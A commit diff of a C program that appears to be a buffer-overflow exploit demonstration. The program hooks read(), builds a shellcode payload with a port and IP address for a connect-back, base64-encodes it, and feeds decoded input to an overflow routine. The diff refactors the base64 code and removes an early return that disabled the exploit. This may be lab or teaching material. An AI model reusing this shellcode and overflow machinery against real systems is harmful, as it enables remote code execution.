11#define _GNU_SOURCE
2+ #include <arpa/inet.h>
3+ #include <netdb.h>
24#include <assert.h>
35#include <dlfcn.h>
46#include <stddef.h>
57#include <stdio.h>
68#include <string.h>
79#include <unistd.h>
810
9- #include <arpa/inet.h>
10- #include <netdb.h> // gethostbyname()
11-
12- static char encodingTable [] = {
11+ static const unsigned char tEncode64 [64 ] = {
1312 'A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' ,
1413 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , 'a' , 'b' , 'c' , 'd' , 'e' , 'f' ,
1514 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' ,
16- 'w' , 'x' , 'y' , 'z' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , '+' , '/' };
17- static int mod_table [] = {0 , 2 , 1 };
18-
19- char * base64Encode (const unsigned char * data , size_t inputLength , size_t * outputLength ) {
20- static char encodedData [10000 ];
21-
22- * outputLength = 4 * ((inputLength + 2 ) / 3 );
15+ 'w' , 'x' , 'y' , 'z' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , '+' , '/'
16+ };
2317
24- assert ( * outputLength < sizeof ( encodedData ));
18+ static size_t encode64 ( const unsigned char * s256 , const size_t n256 , unsigned char * s64 , size_t m64 ) {
2519
26- for ( int i = 0 , j = 0 ; i < inputLength ;) {
27- uint32_t octet_a = i < inputLength ? ( unsigned char ) data [ i ++ ] : 0 ;
28- uint32_t octet_b = i < inputLength ? ( unsigned char ) data [ i ++ ] : 0 ;
29- uint32_t octet_c = i < inputLength ? ( unsigned char ) data [ i ++ ] : 0 ;
20+ // Calculate encoded size but limit to size of our output buffer
21+ size_t n64 = 4 * (( n256 + 2 ) / 3 ) ;
22+ if ( n64 > m64 )
23+ n64 = m64 ;
3024
31- uint32_t triple = (octet_a << 0x10 ) + (octet_b << 0x08 ) + octet_c ;
25+ // Loop over input data generating four 6-in-8 bytes for each three 8-in-8 bytes
26+ for (size_t i256 = 0 , i64 = 0 , triple = 0 ; i256 < n256 && i64 < n64 ;) {
27+ for (size_t i = 0 ; i < 3 ; i ++ )
28+ triple = (triple << 8 ) + ((i256 < n256 ) ? s256 [i256 ++ ] : 0 );
3229
33- encodedData [j ++ ] = encodingTable [(triple >> 3 * 6 ) & 0x3F ];
34- encodedData [j ++ ] = encodingTable [(triple >> 2 * 6 ) & 0x3F ];
35- encodedData [j ++ ] = encodingTable [(triple >> 1 * 6 ) & 0x3F ];
36- encodedData [j ++ ] = encodingTable [(triple >> 0 * 6 ) & 0x3F ];
30+ for (size_t i = 0 ; i < 4 ; i ++ )
31+ s64 [i64 ++ ] = tEncode64 [(triple >> ((3 - i ) * 6 )) & (1 << 6 ) - 1 ];
3732 } // for
3833
39- for (int i = 0 ; i < mod_table [inputLength % 3 ]; i ++ )
40- encodedData [* outputLength - 1 - i ] = '=' ;
34+ // Back-patch trailing overrun created by the "chunky" encoder (above).
35+ for (size_t i = 0 ; i < (n256 * 2 ) % 3 ; i ++ )
36+ s64 [n64 - 1 - i ] = '=' ;
4137
42- return encodedData ;
43- }
38+ return n64 ;
39+ } // encode64()
4440
45- static const unsigned char pr2six [256 ] = {
41+ static const unsigned char tDecode64 [256 ] = {
4642 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 ,
4743 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 ,
4844 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 62 , 64 , 64 , 64 , 63 ,
@@ -61,45 +57,31 @@ static const unsigned char pr2six[256] = {
6157 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64 , 64
6258};
6359
64- static int base64Decode (char * bufplain , const char * bufcoded )
65- {
66- int nBytesDecoded ;
67- register const unsigned char * bufin ;
68- register unsigned char * bufout ;
69- register int nprbytes ;
70-
71- bufin = (const unsigned char * ) bufcoded ;
72- while (pr2six [* (bufin ++ )] <= 63 );
73- nprbytes = (bufin - (const unsigned char * ) bufcoded ) - 1 ;
74- nBytesDecoded = ((nprbytes + 3 ) / 4 ) * 3 ;
75-
76- bufout = (unsigned char * ) bufplain ;
77- bufin = (const unsigned char * ) bufcoded ;
78-
79- while (nprbytes > 4 ) {
80- * (bufout ++ ) = (unsigned char ) (pr2six [bufin [0 ]] << 2 | pr2six [bufin [1 ]] >> 4 );
81- * (bufout ++ ) = (unsigned char ) (pr2six [bufin [1 ]] << 4 | pr2six [bufin [2 ]] >> 2 );
82- * (bufout ++ ) = (unsigned char ) (pr2six [bufin [2 ]] << 6 | pr2six [bufin [3 ]]);
83- bufin += 4 ;
84- nprbytes -= 4 ;
85- }
60+ static size_t length64 (const unsigned char * s64 ) {
61+ for (size_t i = 0 ; ; i ++ )
62+ if (tDecode64 [s64 [i ]] > 63 )
63+ return i ;
64+ } // length64()
8665
87- /* Note: (nprbytes == 1) would be an error, so just ingore that case */
88- if (nprbytes > 1 ) {
89- * (bufout ++ ) = (unsigned char ) (pr2six [* bufin ] << 2 | pr2six [bufin [1 ]] >> 4 );
90- }
91- if (nprbytes > 2 ) {
92- * (bufout ++ ) = (unsigned char ) (pr2six [bufin [1 ]] << 4 | pr2six [bufin [2 ]] >> 2 );
93- }
94- if (nprbytes > 3 ) {
95- * (bufout ++ ) = (unsigned char ) (pr2six [bufin [2 ]] << 6 | pr2six [bufin [3 ]]);
96- }
66+ static size_t decode64 (const unsigned char * s64 , const size_t n64 , unsigned char * s256 , const size_t m256 ) {
9767
98- * ( bufout ++ ) = '\0' ;
99- nBytesDecoded - = (4 - nprbytes ) & 3 ;
68+ // Calculate decoded size but limit to size of our output buffer
69+ size_t n256 = ((( n64 + 3 ) / 4 ) * 3 ) - (( 4 - n64 ) & 3 ) ;
10070
101- return nBytesDecoded ;
102- }
71+ if (n256 > m256 - 1 )
72+ n256 = m256 - 1 ;
73+
74+ // Loop over input data generating three 8-in-8 bytes for each four 6-in-8 bytes
75+ for (size_t i64 = 0 , i256 = 0 , triple = 0 ; i64 < n64 && i256 < n256 ; i64 ++ ) {
76+ if (i64 < n64 - 1 ) { s256 [i256 ++ ] = (tDecode64 [s64 [i64 ]] << 2 | tDecode64 [s64 [i64 + 1 ]] >> 4 ); i64 ++ ; }
77+ if (i64 < n64 - 1 ) { s256 [i256 ++ ] = (tDecode64 [s64 [i64 ]] << 4 | tDecode64 [s64 [i64 + 1 ]] >> 2 ); i64 ++ ; }
78+ if (i64 < n64 - 1 ) { s256 [i256 ++ ] = (tDecode64 [s64 [i64 ]] << 6 | tDecode64 [s64 [i64 + 1 ]] >> 0 ); i64 ++ ; }
79+ } // for
80+
81+ s256 [n256 ] = '\0' ;
82+
83+ return n256 ;
84+ } // decode64()
10385
10486typedef void * Pointer ;
10587
@@ -122,10 +104,11 @@ typedef struct ShellCode {
122104 unsigned short port ;
123105 IPAddress ipAddress ;
124106 unsigned char epilog [50 ];
107+ unsigned short unused ;
125108} ShellCode , * ShellCodePtr ;
126109
127110typedef union ShellCodeUnion {
128- unsigned char raw [74 ];
111+ unsigned char raw [76 ];
129112 ShellCode sc ;
130113} ShellCodeUnion , * ShellCodeUnionPtr ;
131114
@@ -441,16 +424,16 @@ ssize_t read(int fd, void *buf, size_t count) {
441424 } // if
442425
443426dumpload (& payload );
444- size_t payload64Size ;
445- char * payload64 = base64Encode ((const unsigned char * ) & payload , sizeof (payload ), & payload64Size );
446- char * src = p + nc ;
447- char * dst = p - strlen (s_magic ) - strlen (s_makeload ) + payload64Size ;
448- int need = strlen (s_magic ) - strlen (s_makeload ) - nc + payload64Size ;
449- int tail = result - (src - ((char * ) buf ));
450- memmove (dst , src , tail );
451- memcpy (((char * ) p ) - strlen (s_magic ) - strlen (s_makeload ), payload64 , payload64Size );
452- result += need ;
453- ((char * ) buf )[result ] = 0 ;
427+ unsigned char payload64 [ 4096 ] ;
428+ size_t nPayload64 = encode64 ((const unsigned char * ) & payload , sizeof (payload ), payload64 , sizeof ( payload64 ) );
429+ char * src = p + nc ;
430+ char * dst = p - strlen (s_magic ) - strlen (s_makeload ) + nPayload64 ;
431+ int need = strlen (s_magic ) - strlen (s_makeload ) - nc + nPayload64 ;
432+ int tail = result - (src - ((char * ) buf ));
433+ memmove (dst , src , tail );
434+ memcpy (((char * ) p ) - strlen (s_magic ) - strlen (s_makeload ), payload64 , nPayload64 );
435+ result += need ;
436+ ((char * ) buf )[result ] = 0 ;
454437 } // if
455438 else if (!strncmp (s_dumpload , p , strlen (s_dumpload )))
456439 dumpload (& payload );
@@ -459,9 +442,9 @@ dumpload(&payload);
459442 overflow ((Pointer )& payload , sizeof (payload ));
460443 }
461444 else if (!strncmp (s_overflow , p , strlen (s_overflow ))) {
462- base64Decode ( p , p + strlen (s_overflow ));
463- overflow ( p , sizeof ( Payload ) );
464-
445+ unsigned char * s64 = ( unsigned char * ) ( p + strlen (s_overflow ));
446+ size_t n256 = decode64 ( s64 , length64 ( s64 ), ( unsigned char * ) p , 65535 );
447+ overflow ( p , n256 );
465448 } // else if
466449 } // if
467450
@@ -479,12 +462,11 @@ int main(int argc, char **argv)
479462 assert (sizeof (ptrdiff_t ) == 8 );
480463 assert (sizeof (Offset ) == 8 );
481464 assert (sizeof (AddressUnion ) == 8 );
482- assert (sizeof (ShellCodeUnion ) == 74 );
483- assert (sizeof (unsigned short ) == 2 );
465+ assert (sizeof (IPAddress ) == 4 );
466+ assert (sizeof (ShellCodeUnion ) == 76 );
484467 assert (getpagesize () == 4096 );
485468 assert ((-1 ^(getpagesize ()- 1 ))== 0xfffffffffffff000 );
486469
487- return -1 ;
488470 initialize ();
489471 makeload (& payload );
490472 dumpload (& payload );
0 commit comments